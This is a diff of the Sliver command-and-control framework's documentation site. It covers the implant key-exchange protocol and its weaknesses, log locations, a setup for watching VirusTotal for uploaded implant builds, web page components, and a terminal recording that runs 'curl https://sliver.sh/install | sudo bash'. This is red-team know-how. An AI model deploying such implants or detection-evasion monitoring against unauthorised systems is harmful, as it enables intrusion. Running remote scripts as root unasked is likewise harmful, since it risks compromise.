9. All messages are encrypted with the session key using ChaCha20Poly1305
|
||||
10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
|
||||
|
||||
### Known Limitations
|
||||
|
||||
There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
|
||||
|
||||
1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
|
||||
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
|
||||
3. While messages cannot be replayed, valid messages can potentially be re-ordered.
|
||||
|
||||
# Versions 1.5.0+
|
||||
|
||||
⚠️ This version of the key exchange is [vulnerable to MitM attack](https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q)
|
||||
|
||||
The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's public key:
|
||||
|
||||
1. ECC public key of server
|
||||
2. ECC implant public key
|
||||
3. ECC implant private key
|
||||
4. A minisign signature of the implant ECC public key (signed by server's private key)
|
||||
5. The server's minisign public key
|
||||
6. TOTP shared secret (server-wide shared secret)
|
||||
|
||||
### Server to Implant Key Exchange
|
||||
|
||||
1. Implant generates random 256-bit symmetric "session key"
|
||||
2. Implant generates:
|
||||
|
||||
- Current TOTP code using SHA2-256, Unix UTC, 8-digit numeric code
|
||||
- SHA2-256 hash of its own ECC public key
|
||||
- Uses Nacl Box (Curve25519, XSalsa20, and Poly1305) to encrypt session key with server's public ECC key
|
||||
|
||||
3. Implant sends `[ TOTP Code | SHA2-256 Hash of Public Key | Nacl Box Ciphertext ]` to server, note: in this scheme no ECC keys (even public keys) are ever sent over the wire, instead we only send the hash of the public key.
|
||||
4. Server verifies TOTP Code (can optionally be disabled per listener server-side).
|
||||
5. Server uses the SHA2-256 hash of public key to look up the implant's full ECC public key in its database
|
||||
6. Decrypts Nacl with sender public key + server private key
|
||||
7. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
|
||||
8. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
|
||||
9. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
|
||||
### Implant to Implant Key Exchange (Pivots)
|
||||
|
||||
1. An implant starts a pivot listener (the listener)
|
||||
2. Another implant connects to the listener (the initiator)
|
||||
3. The initiator sends its ECC public key and the minisign signature of its public key
|
||||
4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
|
||||
5. The listener generates a random session key and encrypts it with the initiator's verified public key
|
||||
6. The listener sends its ECC public key, the minisign signature of its public key, and the encrypted session key back to the initiator
|
||||
7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
|
||||
8. The initiator decrypts the session key using Nacl Box (Curve25519, XSalsa20, and Poly1305)
|
||||
9. All messages are encrypted with the session key using ChaCha20Poly1305
|
||||
10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above but without the TOTP code. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
|
||||
|
||||
### Known Limitations
|
||||
|
||||
There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
|
||||
|
||||
1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
|
||||
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
|
||||
3. Session initialization messages can be replayed within the validity period of the TOTP value. TOTP values are valid for 30 seconds + 30 second margin of error, so the session initialization message can be replayed within about ~60 second period without obtaining a new TOTP code. However, the implant must use the session key to register itself post-key exchange so replayed session initialization does not appear to be a security risk even outside of the restrictive window.
|
||||
4. While messages cannot be replayed, valid messages can potentially be re-ordered.
|
||||
@@ -0,0 +1,18 @@
|
||||
### Server logs
|
||||
|
||||
Server related logs are saved to: `~/.sliver/logs/`
|
||||
|
||||
- `sliver.log` is the main log file for server related events
|
||||
- `console.log` is the log of the server's built-in "client" console
|
||||
- `sliver.json` JSON formatted log (includes timestamps)
|
||||
- `audit.json` a JSON formatted history of commands/activity
|
||||
|
||||
The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](/docs?name=Configuration+Files)
|
||||
|
||||
### Client logs
|
||||
|
||||
`~/.sliver-client/sliver-client.log`
|
||||
|
||||
## Implant Troubleshooting
|
||||
|
||||
If you need to trouble shoot an issue (connectivity, etc) with an implant try generating it with the `--debug` flag.
|
||||
@@ -0,0 +1,15 @@
|
||||
The Sliver server has a built-in capability to periodically monitor VirusTotal and IBM X-Force for implant hashes to determine whether implant builds have been uploaded to such platform.
|
||||
To set it up, update your `$HOME/.sliver/configs/server.json` and set the following values in the `watchtower` object:
|
||||
|
||||
```json
|
||||
{
|
||||
"watch_tower": {
|
||||
"vt_api_key": "YOUR_VIRUSTTOTAL_API_KEY",
|
||||
"xforce_api_key": "YOUR_XFORCE_API_KEY",
|
||||
"xforce_api_password": "YOUR_XFORCE_API_PASSWORD"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Once that is done, restart the Sliver server. You can now use the `monitor start` and `monitor stop` commands to start and stop periodic monitoring of your implant builds on VirusTotal and IBM X-Force.
|
||||
The server is configured to stay below the limits of requests for the free tier component for each providers. This means 4 requests per minute / 500 requests per day for VirusTotal, and 6 requests per hour for X-Force. More details on the implementation can be found [here](https://github.com/lesnuages/snitch).
|
||||
@@ -1,26 +1,103 @@
|
||||
import { Card, CardBody } from "@nextui-org/react";
|
||||
import AsciinemaPlayer from "@/components/asciinema";
|
||||
import { SliversIcon } from "@/components/icons/slivers";
|
||||
import TutorialCard from "@/components/tutorial-card";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { Card, CardBody, CardHeader, Divider } from "@nextui-org/react";
|
||||
import { useRouter } from "next/router";
|
||||
|
||||
export default function Home() {
|
||||
const router = useRouter();
|
||||
|
||||
function getThemeState(): Themes {
|
||||
if (typeof window !== "undefined") {
|
||||
const loadedTheme = localStorage.getItem("theme");
|
||||
const currentTheme = loadedTheme ? (loadedTheme as Themes) : Themes.DARK;
|
||||
return currentTheme;
|
||||
}
|
||||
return Themes.DARK;
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="grid grid-cols-12 mt-2">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10">
|
||||
<div className="col-span-5 mr-2">
|
||||
<AsciinemaPlayer
|
||||
src="/asciinema/intro.cast"
|
||||
rows="18"
|
||||
cols="75"
|
||||
idleTimeLimit={60}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
<div className="col-span-5 ml-2">
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<div className="flex items-center">
|
||||
<SliversIcon className="mr-2" height={28} />
|
||||
<span className="text-2xl">Sliver Command & Control</span>
|
||||
</div>
|
||||
</CardHeader>
|
||||
<Divider />
|
||||
<CardBody>
|
||||
<p>
|
||||
Sliver is a Command and Control (C2) system made for penetration
|
||||
testers, red teams, and blue teams. It generates implants that can
|
||||
run on virtually every architecture out there, and securely manage
|
||||
these connections through a central server. Sliver supports
|
||||
multiple callback protocols including DNS, Mutual TLS (mTLS),
|
||||
WireGuard, and HTTP(S) to make egress simple, even when those
|
||||
pesky blue teams block your domains. You can even have multiple
|
||||
operators (players) simultaneously commanding your sliver army.
|
||||
<p
|
||||
className={
|
||||
getThemeState() === Themes.DARK
|
||||
? "prose dark:prose-invert"
|
||||
: "prose prose-slate"
|
||||
}
|
||||
>
|
||||
Sliver is a powerful command and control (C2) framework designed
|
||||
to provide advanced capabilities for covertly managing and
|
||||
controlling remote systems. With Sliver, security professionals,
|
||||
red teams, and penetration testers can easily establish a secure
|
||||
and reliable communication channel over Mutual TLS, HTTP(S), DNS,
|
||||
or Wireguard with target machines. Enabling them to execute
|
||||
commands, gather information, and perform various
|
||||
post-exploitation activities. The framework offers a user-friendly
|
||||
console interface, extensive functionality, and support for
|
||||
multiple operating systems as well as multiple CPU architectures,
|
||||
making it an indispensable tool for conducting comprehensive
|
||||
offensive security operations.
|
||||
</p>
|
||||
</CardBody>
|
||||
</Card>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<Divider />
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<div className="grid grid-cols-8">
|
||||
<div className="col-span-2">
|
||||
<TutorialCard
|
||||
name="Getting Started"
|
||||
description="A quick start guide to get you up and running with Sliver."
|
||||
asciiCast="/asciinema/install-1.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
showButton={true}
|
||||
buttonText="Read Docs"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Getting Started" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-12 mb-8"></div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
import MarkdownViewer from "@/components/markdown";
|
||||
import { useSearchContext } from "@/util/search-context";
|
||||
import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { Button, Card, CardBody, Divider } from "@nextui-org/react";
|
||||
import { NextPage } from "next";
|
||||
import { useSearchParams } from "next/navigation";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
export type SearchPageProps = {};
|
||||
|
||||
const SearchPage: NextPage = (props: SearchPageProps) => {
|
||||
const router = useRouter();
|
||||
const search = useSearchContext();
|
||||
const query = useSearchParams().get("search");
|
||||
|
||||
const searchResults = React.useMemo(() => {
|
||||
if (query) {
|
||||
return search.searchDocs(query);
|
||||
}
|
||||
return [];
|
||||
}, [query, search]);
|
||||
|
||||
return (
|
||||
<div className="grid grid-cols-12 mt-2">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10">
|
||||
<div className="text-3xl">
|
||||
Search: "{query?.slice(0, 50)}"
|
||||
<div className="text-sm text-gray-500">
|
||||
{searchResults.length} Results
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{searchResults.map((doc) => (
|
||||
<Card key={doc.name} className="mt-4">
|
||||
<CardBody>
|
||||
<div className="flex">
|
||||
<span className="text-xl">{doc.name}</span>
|
||||
<div className="flex-grow"></div>
|
||||
<Button
|
||||
size="sm"
|
||||
color="secondary"
|
||||
className="w-[150px]"
|
||||
onPress={() => {
|
||||
router.push(`/docs?name=${doc.name}`);
|
||||
}}
|
||||
>
|
||||
Full Doc
|
||||
<FontAwesomeIcon icon={faChevronCircleRight} />
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
<Divider className="mt-1" />
|
||||
|
||||
<div className="mt-2 overflow-hidden max-h-[200px]">
|
||||
<MarkdownViewer markdown={doc.content} />
|
||||
</div>
|
||||
</CardBody>
|
||||
</Card>
|
||||
))}
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-12 mb-8"></div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default SearchPage;
|
||||
@@ -0,0 +1,185 @@
|
||||
{"version": 2, "width": 137, "height": 38, "timestamp": 1702828910, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.084701, "o", " \r\r"]
|
||||
[0.134782, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
|
||||
[0.135514, "o", "\u001b[?1h\u001b="]
|
||||
[0.136369, "o", "\u001b[?2004h"]
|
||||
[1.996324, "o", "\u001b[7m\u001b[36mcurl\u001b[39m\u001b[7m https://sliver.sh/install\u001b[1m\u001b[7m\u001b[34m|\u001b[0m\u001b[39m\u001b[7m\u001b[4m\u001b[32msudo\u001b[24m\u001b[39m\u001b[7m \u001b[7m\u001b[36mbash\u001b[27m\u001b[39m"]
|
||||
[2.447142, "o", "\u001b[40D\u001b[27m\u001b[36mc\u001b[27m\u001b[36mu\u001b[27m\u001b[36mr\u001b[27m\u001b[36ml\u001b[39m\u001b[27m \u001b[27mh\u001b[27mt\u001b[27mt\u001b[27mp\u001b[27ms\u001b[27m:\u001b[27m/\u001b[27m/\u001b[27ms\u001b[27ml\u001b[27mi\u001b[27mv\u001b[27me\u001b[27mr\u001b[27m.\u001b[27ms\u001b[27mh\u001b[27m/\u001b[27mi\u001b[27mn\u001b[27ms\u001b[27mt\u001b[27ma\u001b[27ml\u001b[27ml\u001b[27m\u001b[1m\u001b[34m|\u001b[0m\u001b[39m\u001b[27m\u001b[4m\u001b[32ms\u001b[27m\u001b[4m\u001b[32mu\u001b[27m\u001b[4m\u001b[32md\u001b[27m\u001b[4m\u001b[32mo\u001b[24m\u001b[39m\u001b[27m \u001b[27m\u001b[36mb\u001b[27m\u001b[36ma\u001b[27m\u001b[36ms\u001b[27m\u001b[36mh\u001b[39m "]
|
||||
[3.088328, "o", "\u001b[?1l\u001b>"]
|
||||
[3.095109, "o", "\u001b[?2004l\r\r\n"]
|
||||
[3.138939, "o", " % Total % "]
|
||||
[3.140482, "o", "Received % Xferd Average Speed Time T"]
|
||||
[3.140953, "o", "ime Time Current\r\n Dload Upload Total Spent Left Speed\r\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0"]
|
||||
[3.348678, "o", "\r"]
|
||||
[3.349121, "o", "1"]
|
||||
[3.349507, "o", "0"]
|
||||
[3.34984, "o", "0"]
|
||||
[3.350208, "o", " "]
|
||||
[3.350435, "o", " "]
|
||||
[3.35053, "o", "Installing dependencies using apt..."]
|
||||
[3.350951, "o", "\r\r\n7420 10"]
|
||||
[3.351661, "o", "0 742"]
|
||||
[3.352273, "o", "0 0 0 35364 0 --:--:-- --:--:-- --:--:-- 35502\r\n"]
|
||||
[9.95185, "o", "Selecting previously unselected package binutils-mingw-w64.\r"]
|
||||
[9.952373, "o", "\r\r\n(Reading database ... \r"]
|
||||
[9.971594, "o", "(Reading database ... 5%\r(Reading database ... 10%\r"]
|
||||
[9.972513, "o", "(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r"]
|
||||
[9.978663, "o", "(Reading database ... 55%\r"]
|
||||
[9.995169, "o", "(Reading database ... 60%\r"]
|
||||
[10.004957, "o", "(Reading database ... 65%\r"]
|
||||
[10.018783, "o", "(Reading database ... 70%\r"]
|
||||
[10.03848, "o", "(Reading database ... 75%\r"]
|
||||
[10.056054, "o", "(Reading database ... 80%\r"]
|
||||
[10.071003, "o", "(Reading database ... 85%\r"]
|
||||
[10.084401, "o", "(Reading database ... 90%\r"]
|
||||
[10.12239, "o", "(Reading database ... 95%\r"]
|
||||
[10.173737, "o", "(Reading database ... 100%\r(Reading database ... 313406 files and directories currently installed.)\r\r\r\n"]
|
||||
[10.189446, "o", "Preparing to unpack .../00-binutils-mingw-w64_2.41-4+11+nmu1_all.deb ...\r\r\r\n"]
|
||||
[10.193803, "o", "Unpacking binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"]
|
||||
[10.269046, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix-runtime.\r\r"]
|
||||
[10.269564, "o", "\r\n"]
|
||||
[10.308134, "o", "Preparing to unpack .../01-gcc-mingw-w64-i686-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r"]
|
||||
[10.308482, "o", "\r\r\n"]
|
||||
[10.312389, "o", "Unpacking gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[11.4202, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix.\r\r\r\n"]
|
||||
[11.455985, "o", "Preparing to unpack .../02-gcc-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
|
||||
[11.460478, "o", "Unpacking gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[14.104305, "o", "Selecting previously unselected package g++-mingw-w64-i686-posix.\r\r\r\n"]
|
||||
[14.141357, "o", "Preparing to unpack .../03-g++-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
|
||||
[14.146621, "o", "Unpacking g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[15.731417, "o", "Selecting previously unselected package g++-mingw-w64-i686-win32.\r"]
|
||||
[15.731829, "o", "\r\r\n"]
|
||||
[15.768219, "o", "Preparing to unpack .../04-g++-mingw-w64-i686-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
|
||||
[15.772983, "o", "Unpacking g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[17.37459, "o", "Selecting previously unselected package g++-mingw-w64-i686.\r\r"]
|
||||
[17.374696, "o", "\r\n"]
|
||||
[17.411973, "o", "Preparing to unpack .../05-g++-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
|
||||
[17.426232, "o", "Unpacking g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"]
|
||||
[17.426332, "o", "\r\r\n"]
|
||||
[17.503886, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix-runtime.\r\r"]
|
||||
[17.504212, "o", "\r\n"]
|
||||
[17.541562, "o", "Preparing to unpack .../06-gcc-mingw-w64-x86-64-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
|
||||
[17.546412, "o", "Unpacking gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[18.714872, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix.\r"]
|
||||
[18.715259, "o", "\r\r\n"]
|
||||
[18.751957, "o", "Preparing to unpack .../07-gcc-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
|
||||
[18.756477, "o", "Unpacking gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[21.433457, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-posix.\r"]
|
||||
[21.434029, "o", "\r\r\n"]
|
||||
[21.469656, "o", "Preparing to unpack .../08-g++-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
|
||||
[21.473949, "o", "Unpacking g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[23.071383, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-win32.\r"]
|
||||
[23.071919, "o", "\r\r\n"]
|
||||
[23.109876, "o", "Preparing to unpack .../09-g++-mingw-w64-x86-64-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
|
||||
[23.114113, "o", "Unpacking g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[24.915719, "o", "Selecting previously unselected package g++-mingw-w64-x86-64.\r"]
|
||||
[24.916042, "o", "\r\r\n"]
|
||||
[24.954255, "o", "Preparing to unpack .../10-g++-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
|
||||
[24.968491, "o", "Unpacking g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"]
|
||||
[24.968909, "o", "\r\r\n"]
|
||||
[25.069388, "o", "Selecting previously unselected package g++-mingw-w64.\r\r"]
|
||||
[25.070115, "o", "\r\n"]
|
||||
[25.111677, "o", "Preparing to unpack .../11-g++-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
|
||||
[25.126555, "o", "Unpacking g++-mingw-w64 (12.2.0-14+25.2) ...\r\r"]
|
||||
[25.126669, "o", "\r\n"]
|
||||
[25.216987, "o", "Selecting previously unselected package gcc-mingw-w64-i686.\r\r"]
|
||||
[25.217088, "o", "\r\n"]
|
||||
[25.255678, "o", "Preparing to unpack .../12-gcc-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
|
||||
[25.270793, "o", "Unpacking gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r"]
|
||||
[25.270892, "o", "\r\n"]
|
||||
[25.365118, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64.\r"]
|
||||
[25.365778, "o", "\r\r\n"]
|
||||
[25.4112, "o", "Preparing to unpack .../13-gcc-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
|
||||
[25.432324, "o", "Unpacking gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[25.53257, "o", "Selecting previously unselected package gcc-mingw-w64.\r"]
|
||||
[25.533103, "o", "\r\r\n"]
|
||||
[25.571001, "o", "Preparing to unpack .../14-gcc-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
|
||||
[25.587241, "o", "Unpacking gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[25.679011, "o", "Selecting previously unselected package mingw-w64.\r\r\r\n"]
|
||||
[25.722919, "o", "Preparing to unpack .../15-mingw-w64_11.0.1-3_all.deb ...\r\r\r\n"]
|
||||
[25.728104, "o", "Unpacking mingw-w64 (11.0.1-3) ...\r\r\r\n"]
|
||||
[25.902193, "o", "Setting up g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[26.005609, "o", "update-alternatives: using /usr/bin/i686-w64-mingw32-g++-win32 to provide /usr/bin/i686-w64-mingw32-g++ (i686-w64-mingw32-g++) in auto mode\r\r\r\n"]
|
||||
[26.017091, "o", "Setting up g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r"]
|
||||
[26.017273, "o", "\r\n"]
|
||||
[26.040122, "o", "update-alternatives: using /usr/bin/x86_64-w64-mingw32-g++-win32 to provide /usr/bin/x86_64-w64-mingw32-g++ (x86_64-w64-mingw32-g++) in auto mode\r\r\r\n"]
|
||||
[26.049058, "o", "Setting up gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r"]
|
||||
[26.049155, "o", "\r\r\n"]
|
||||
[26.062459, "o", "Setting up gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[26.087899, "o", "Setting up gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r"]
|
||||
[26.087992, "o", "\r"]
|
||||
[26.089821, "o", "\r\n"]
|
||||
[26.103367, "o", "Setting up gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[26.122926, "o", "Setting up binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"]
|
||||
[26.135388, "o", "Setting up gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[26.16056, "o", "Setting up g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r"]
|
||||
[26.160655, "o", "\r\r\n"]
|
||||
[26.185839, "o", "Setting up gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[26.205943, "o", "Setting up g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"]
|
||||
[26.206287, "o", "\r\r\n"]
|
||||
[26.226095, "o", "Setting up gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[26.245408, "o", "Setting up g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
|
||||
[26.282804, "o", "Setting up g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"]
|
||||
[26.28308, "o", "\r\r\n"]
|
||||
[26.302298, "o", "Setting up g++-mingw-w64 (12.2.0-14+25.2) ...\r"]
|
||||
[26.30253, "o", "\r\r\n"]
|
||||
[26.321881, "o", "Setting up mingw-w64 (11.0.1-3) ...\r"]
|
||||
[26.322234, "o", "\r\r\n"]
|
||||
[26.542589, "o", "Running from /root\r"]
|
||||
[26.54269, "o", "\r\nImporting GPG key...\r\r\n"]
|
||||
[26.558262, "o", "gpg: directory '/root/.gnupg' created\r\r\n"]
|
||||
[26.55918, "o", "gpg: keybox '/root/.gnupg/pubring.kbx' created\r\r\n"]
|
||||
[26.564249, "o", "gpg: /root/.gnupg/trustdb.gpg: trustdb created\r"]
|
||||
[26.564907, "o", "\r\n"]
|
||||
[26.565004, "o", "gpg: key 7DF912404449039C: public key \"Sliver <[email protected]>\" imported\r\r\n"]
|
||||
[26.584997, "o", "gpg: Total number processed: 1\r\r\ngpg: imported: 1\r\r\n"]
|
||||
[26.586357, "o", "Fetching latest Sliver release URLs...\r"]
|
||||
[26.586453, "o", "\r\n"]
|
||||
[26.844076, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux\r"]
|
||||
[26.844639, "o", "\r\n"]
|
||||
[27.564024, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux.sig\r\r\n"]
|
||||
[28.06082, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux\r"]
|
||||
[28.061261, "o", "\r\n"]
|
||||
[29.324939, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux.sig\r\r\n"]
|
||||
[29.764868, "o", "Verifying signatures ...\r\r\n"]
|
||||
[31.017103, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"]
|
||||
[31.017879, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver <[email protected]>\" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\n"]
|
||||
[31.018347, "o", "Primary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"]
|
||||
[31.293632, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"]
|
||||
[31.294345, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver <[email protected]>\" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\nPrimary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"]
|
||||
[31.295425, "o", "Moving the Sliver server executable to /root/sliver-server...\r\r\n"]
|
||||
[31.298457, "o", "Setting permissions for the Sliver server executable...\r"]
|
||||
[31.298717, "o", "\r\n"]
|
||||
[31.300852, "o", "Unpacking the Sliver server...\r"]
|
||||
[31.30108, "o", "\r\n"]
|
||||
[31.450868, "o", "\r"]
|
||||
[31.451189, "o", "\r\nSliver Copyright (C) 2022 Bishop Fox\r\r\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.\r\r\nThis is free software, and you are welcome to redistribute it\r\r\nunder certain conditions; type 'licenses' for details.\r\r\n\r\r\nUnpacking assets ...\r\r\n"]
|
||||
[35.564985, "o", "Setting permissions for the Sliver client executable...\r\r\n"]
|
||||
[35.567358, "o", "Copying the Sliver client executable to /usr/local/bin/sliver-client...\r\r\n"]
|
||||
[35.570389, "o", "'/root/sliver-client_linux' -> '/usr/local/bin/sliver-client'"]
|
||||
[35.570712, "o", "\r\r\n"]
|
||||
[35.651173, "o", "Creating a symbolic link for sliver-client at /usr/local/bin/sliver...\r\r\n"]
|
||||
[35.655603, "o", "Setting permissions for the symbolic link /usr/local/bin/sliver...\r\r\n"]
|
||||
[35.65606, "o", "Configuring systemd service ...\r\r\n"]
|
||||
[35.66269, "o", "Starting the Sliver service...\r\r\n"]
|
||||
[35.706928, "o", "Generating local configs ...\r"]
|
||||
[35.707266, "o", "\r\nGenerating operator configs ...\r\r\n"]
|
||||
[36.088212, "o", "Generating operator configs for user kali...\r"]
|
||||
[36.088987, "o", "\r\n"]
|
||||
[36.19216, "o", " \r\r"]
|
||||
[36.234115, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
|
||||
[36.234287, "o", "\u001b[?1h\u001b="]
|
||||
[36.235669, "o", "\u001b[?2004h"]
|
||||
